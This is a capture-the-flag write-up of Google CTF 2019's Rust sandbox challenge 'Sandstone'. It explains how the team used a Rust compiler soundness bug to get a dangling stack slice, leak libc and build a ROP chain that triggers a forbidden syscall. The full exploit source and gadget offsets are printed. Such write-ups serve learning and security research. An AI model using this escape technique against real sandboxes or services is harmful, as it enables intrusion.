# Sandstone - 383 points

Sandstone was a sandbox challenge in Google CTF 2019. I was playing with 5BC,
we got 9th place.

The challenge description:  
```  
Everyone does a Rust sandbox, so we also have one!  
```

## Intro to Rust  
Rust is a systems programming language that is designed to be memory safe like
java/python but also delivers the same performance as languages like C++.  
Rust achieves this by using a sophisticated compiler technology that forbids
having an object which is both shared and mutable. This prevents many classes
of memory corruption bugs.  
It also comes with a package manager called cargo, which is used to build Rust
crates (libraries).  
Rust has also builtin support for
[FFI](https://en.wikipedia.org/wiki/Foreign_function_interface) (e.g. talking
to C code) and an ability to relax the compiler restrictions using the
[unsafe](https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html) keyword to
build abstraction which the compiler cannot reason about being safe. Both FFI
and unsafe can change raw memory and cause a program not to be memory safe -
this is also called unsound.

## The Challenge  
In the challenge
[zip](bdf3d61937fa0e130646d358b445966f16870107defa368fbc66a249c94fd6e1.zip),
we get two main files - `main.rs` - which is the only Rust source and a
`Dockerfile`.

Let's first look at the `Dockerfile`:  
```docker  
FROM ubuntu:19.04

RUN apt update && apt install -y wget build-essential libseccomp-dev  
ENV CARGO_HOME=/opt/cargo RUSTUP_HOME=/opt/rustup
PATH="${PATH}:/opt/cargo/bin"  
ADD https://sh.rustup.rs /rustup-init  
RUN chmod a+x /rustup-init && /rustup-init -y --default-toolchain
nightly-2019-05-18 && rm /rustup-init

RUN set -e -x; \  
groupadd -g 1337 user; \  
useradd -g 1337 -u 1337 -m user

RUN mkdir -p /chall/src  
WORKDIR /chall  
COPY flag Cargo.toml Cargo.lock /chall/  
COPY src/main.rs /chall/src/main.rs  
RUN cargo build --release

# Ignore ptrace-related failure, this is just for caching the deps.  
RUN echo EOF | ./target/release/sandbox-sandstone || true

RUN set -e -x ;\  
chmod +x /chall/target/release/sandbox-sandstone; \  
chmod 0444 /chall/flag

CMD ["/chall/target/release/sandbox-sandstone"]  
```

Looks straight forward, the challenge setup downloads the rust toolchain,
builds the challenge binary, sets-up the flag and runs the challenge binary.

Noteworthy is the use of the nightly toolchain, in Rust, the nightly toolchain
is where the language developers are allowed to experiment with
unstable/bleeding edge features. It's also where new features like
[nll](https://github.com/rust-lang/rfcs/blob/master/text/2094-nll.md) or
[pin](https://github.com/rust-lang/rfcs/blob/master/text/2349-pin.md) were/are
developed.

The main challenge binary `sandbox-sandstone` will read Rust code from the
user, inject it into a Rust project template and execute the user code.

Let's look at the `read_code` function:  
```rust  
fn read_code() -> String {  
use std::io::BufRead;

let stdin = std::io::stdin();  
let handle = stdin.lock();

let code = handle  
.lines()  
.map(|l| l.expect("Error reading code."))  
.take_while(|l| l != "EOF")  
.collect::<Vec<String>>()  
.join("\n");

for c in code.replace("print!", "").replace("println!", "").chars() {  
if c == '!' || c == '#' || !c.is_ascii() {  
panic!("invalid character");  
}  
}

for needle in &["libc", "unsafe"] {  
if code.to_lowercase().contains(needle) {  
panic!("no {} for ya!", needle);  
}  
}

code  
}  
```

The input code has some restrictions:

* It cannot contain the words `libc` or `unsafe` - to prevent the use of ffi and unsafe code  
* It cannot contain the `#` and `!` characters - to prevent the use of macros and compiler directives, we could have used to generate code that uses unsafe / libc  
* All characters must be ascii - probably to make sure the restrictions above are not bypassed

Our code is injected into the following template:

```rust  
// src/sandstone.rs

#![feature(nll)]  
#![forbid(unsafe_code)]

pub fn main() {  
println!("{:?}", (REPLACE_ME));  
}  
```

The main function of our program will setup a `seccomp-bpf` filter which only
allows:

* write - to stdout  
* sigaltstack  
* mmap  
* munmap  
* exit_group  
* And a trace event for syscall number `0x1337`

Meaning that we cannot simply read the flag directly from the file system.  
Looking at the challenge binary, it executes our code, attaches to our process
with `ptrace` and continues to monitor our process for events. If we manage to
execute syscall number `0x1337` the challenge binary will print the flag:

```rust  
loop {  
let mut status: c_int = 0;  
let pid = unsafe { wait(&mut status) };  
assert!(pid != -1);

if unsafe { WIFEXITED(status) } {  
break;  
}

if (status >> 8) == (SIGTRAP | (PTRACE_EVENT_SECCOMP << 8)) {  
let mut nr: c_ulong = 0;  
assert!(unsafe {  
ptrace(PTRACE_GETEVENTMSG, pid, 0, &mut nr)  
} != -1);

if nr == 0x1337 {  
assert!(unsafe {  
ptrace(PTRACE_KILL, pid, 0, 0)  
} != -1);  
print_flag(); // <\--- print the flag!  
break;  
}  
}

unsafe { ptrace(PTRACE_CONT, pid, 0, 0) };  
}  
```

So our challenge is clear, we need to execute the syscall `0x1337`, however,
it's not so simple. Rust doesn't allow calling directly to syscalls without
using the unsafe keyword. So we somehow need to break the safety guarantees
that Rust provides and beat the compiler.

My teammate `real` who is an experienced Rust developer, encountered a crash
in safe Rust using async code with the `Pin` trait in nightly Rust. He
suggested that we go through the Github issues for rust-lang and try to find a
bug that allows for memory corruptions. Helpfully rust-lang has a label for
bugs in the compiler that cause safety issues
[`I-Unsound`](https://github.com/rust-
lang/rust/issues?q=is%3Aopen+is%3Aissue+label%3A%22I-unsound+%F0%9F%92%A5%22).
We started looking for a bug that is present in the nightly version that we
were running and after a while, we got issue [57893](https://github.com/rust-
lang/rust/issues/57893), which is a pretty interesting bug. Let's look at the
code:

```rust  
trait Object {  
type Output;  
}

trait Marker<'b> {}  
impl<'b> Marker<'b> for dyn Object<Output=&'b u64> {}

impl<'b, T: ?Sized + Marker<'b>> Object for T {  
type Output = &'static u64;  
}

fn foo<'a, 'b, T: Marker<'b> \+ ?Sized>(x: <T as Object>::Output) -> &'a u64 {  
x  
}

fn transmute_lifetime<'a, 'b>(x: &'a u64) -> &'b u64 {  
foo::<dyn Object<Output=&'a u64>>(x)  
}

// And yes this is a genuine `transmute_lifetime`!  
fn get_dangling<'a>() -> &'a u64 {  
let x = 0;  
transmute_lifetime(&x)  
}

fn main() {  
let r = get_dangling();  
println!("stack leak {:x}", r);  
}  
```

The piece of code above allows you to transmute an object lifetime with
another lifetime. [Lifetimes](https://doc.rust-
lang.org/1.9.0/book/lifetimes.html) are how the Rust compiler and language
manage object reference validity, when a lifetime of an object ends it is
dropped (destructed). Violating lifetime rules causes the famous Rust compiler
error: ```error[E0597]: `borrow` does not live long enough```.

The code above causes the compiler to think that we have a reference to a
valid object while the object was already destructed. The reference in the
code above points to a memory location on a higher stack frame.  
At first, it looked like a memory leak bug, but a closer inspection revealed
that we can change the type to `mut`, which causes the reference to be
writable, which enables us to write to the stack!

Our exploitation plan was as follows:

1\. Get a read/write pointer to the stack  
2\. Leak libc  
3\. Write an array to the stack of rop gadgets  
4\. Call a recursive function which will raise the stack and hopefully collide
the return address with our dangling pointer  
5\. Within the recursion, use the dangling pointer to write our gadget to the
stack and stop the recursion.  
6\. Profit!

![Exploit plan](plan.png)

We tried to build a recursion that will land on our stack pointer, but it
proved very hard to control. We actually have given up on the bug and moved to
other issues.  
While working on other bugs we realized we could change the type of this
function to return a slice (a reference to a continuous memory of some type)
of `u64`. This will allow us to leak/write a lot more data which will enable
us to write a rop chain directly to the stack.

We had a working prototype but it didn't work on the challenge binary. It
turns out that the binary is compiled with release flags, while we were
developing with a debug flags. Rust's llvm backend proved to be very powerful
in inlining and optimizing the code, it eliminated our original recursion code
and caused the dangling pointer code to be inlined to the main function and
thus prevented us from using the bug, since the dangling pointer laid within
our stack frame.

Luckily one of my teammates Liad is an llvm developer, which helped us kill
the annoying optimizations - we used `dyn` trait (objects with vtable) to call
the `get_dangling` function and get a dangling pointer to a higher stack
frame, and hard data dependencies within the recursion to prevent inlining.

Putting this all [together](ex.rs):

```rust  
{  
use std::io;  
use std::io::prelude::*;

trait A {  
fn my_func(&self) -> &mut [u64];  
}

struct B {  
b: u64,  
}  
struct C {  
c: u64,  
}

impl A for B {  
fn my_func(&self) -> &mut [u64] {  
get_dangling()  
}  
}

impl A for C {  
fn my_func(&self) -> &mut [u64] {  
get_dangling()  
}  
}

fn is_prime(a: u64) -> bool {  
if a < 2 {  
return false;  
}  
if a % 2 == 0 {  
return true;  
}  
for i in 3..a {  
if a % i == 0 {  
return false;  
}  
}  
true  
}

fn get_trait_a() -> Box<dyn A> {  
let n = if let Ok(args) = std::env::var("CARGO_EXTRA_ARGS") {  
args.len() as usize  
} else {  
791913  
};

if is_prime(n as u64) {  
Box::new(B { b: 0 })  
} else {  
Box::new(C { c: 0 })  
}  
}

trait Object {  
type Output;  
}

impl<T: ?Sized> Object for T {  
type Output = &'static mut [u64];  
}

fn foo<'a, T: ?Sized>(x: <T as Object>::Output) -> &'a mut [u64] {  
x  
}

fn transmute_lifetime<'a, 'b>(x: &'a mut [u64]) -> &'b mut [u64] {  
foo::<dyn Object<Output = &'a mut [u64]>>(x)  
}

// And yes this is a genuine `transmute_lifetime`  
fn get_dangling<'a>() -> &'a mut [u64] {  
io::stdout().write(b"hello\n");  
let mut a: [u64; 128] = [0; 128];  
let mut x = 0;  
transmute_lifetime(&mut a)  
}

fn my_print_str(s: &str) {  
io::stdout().write(s.as_bytes());  
}

fn my_print(n: u64) {  
let s: String = n.to_string() + "\n";  
io::stdout().write(s.as_bytes());  
}

// This function is only used to raise the stack frame and allow the dangling  
// slice to overwrite the stack frame of low stack frames.  
fn rec(a: &mut [u64], b: &mut [u64], attack: &mut [u64], n: u64, lib_c: u64) {  
let mut array: [u64; 3] = [0; 3];  
a[0] += 1;  
b[0] += 1;

array[0] = a[0] + 1;  
array[1] = a[0] + b[1] + 1;

if a[0] > n {

// ubuntu 19.04  
let pop_rax_ret = lib_c + 0x0000000000047cf8;  
let syscall_inst = lib_c + 0x0000000000026bd4;  
let ret = lib_c + 0x026422;

// Overwrite the stack with ret slide  
for (j, el) in attack.iter_mut().enumerate() {  
*el = ret;  
}

// Write our small rop chain  
let x = 50;  
attack[x] = pop_rax_ret;  
attack[x + 1] = 0x1337;  
attack[x + 2] = syscall_inst;

// Trigger  
return;  
}

// Random calculation to kill compiler optimizations.  
if a[0] > 30 {  
b[0] = a[0] + a[1];  
rec(b, &mut array, attack, n, lib_c);  
} else {  
b[1] = a[2] + a[0];  
rec(&mut array, a, attack, n, lib_c);  
}  
}

// using external variables to kill compiler optimizations  
let n = if let Ok(args) = std::env::var("BLA") {  
args.len() as usize  
} else {  
30  
};

// using external variables to kill compiler optimizations  
let n2 = if let Ok(args) = std::env::var("BLA") {  
10  
} else {  
100  
};

// Using the dyn trait so that the compiler will execute the  
// get_dangling function in a higher stack frame.  
let my_a = get_trait_a();  
// getting the random stack  
let mut r = my_a.my_func();

// Just random content  
let mut v: Vec<u64> = Vec::with_capacity(n);  
v.push(1);  
v.push(1);  
v.push(1);

// Adding some content;  
let mut b: Vec<u64> = Vec::with_capacity(n);  
b.push(1);  
b.push(2);  
b.push(3);

// We need to write output buffers to get lib-c gadgets  
my_print_str("Give me gadegts\n");  
let lib_c_addr = r[62];  
let lib_c = lib_c_addr - 628175;

my_print_str("===============\nlib_c base = ");  
my_print(lib_c);  
my_print_str("===============\n");

// Exploit  
rec(&mut v, &mut b, r, n2, lib_c);

}  
```

Finally we got the flag:  
`CTF{InT3ndEd_8yP45_w45_g1tHu8_c0m_Ru5t_l4Ng_Ru5t_1ssue5_31287}`

## Final notes

We didn't end up using issue 31287, I'm not sure it would have been easier to
exploit than our issue. The challenge was really fun and interesting, I
learned a lot more Rust. However, as a hobbyist Rust developer, it was really
scary and painful to discover how many soundness bugs the language has. Maybe
it's time to start contributing to Rust.  

Original writeup (https://github.com/yoava333/ctf-
writeups/blob/master/googlectf_quals/2019/sandstone/README.md).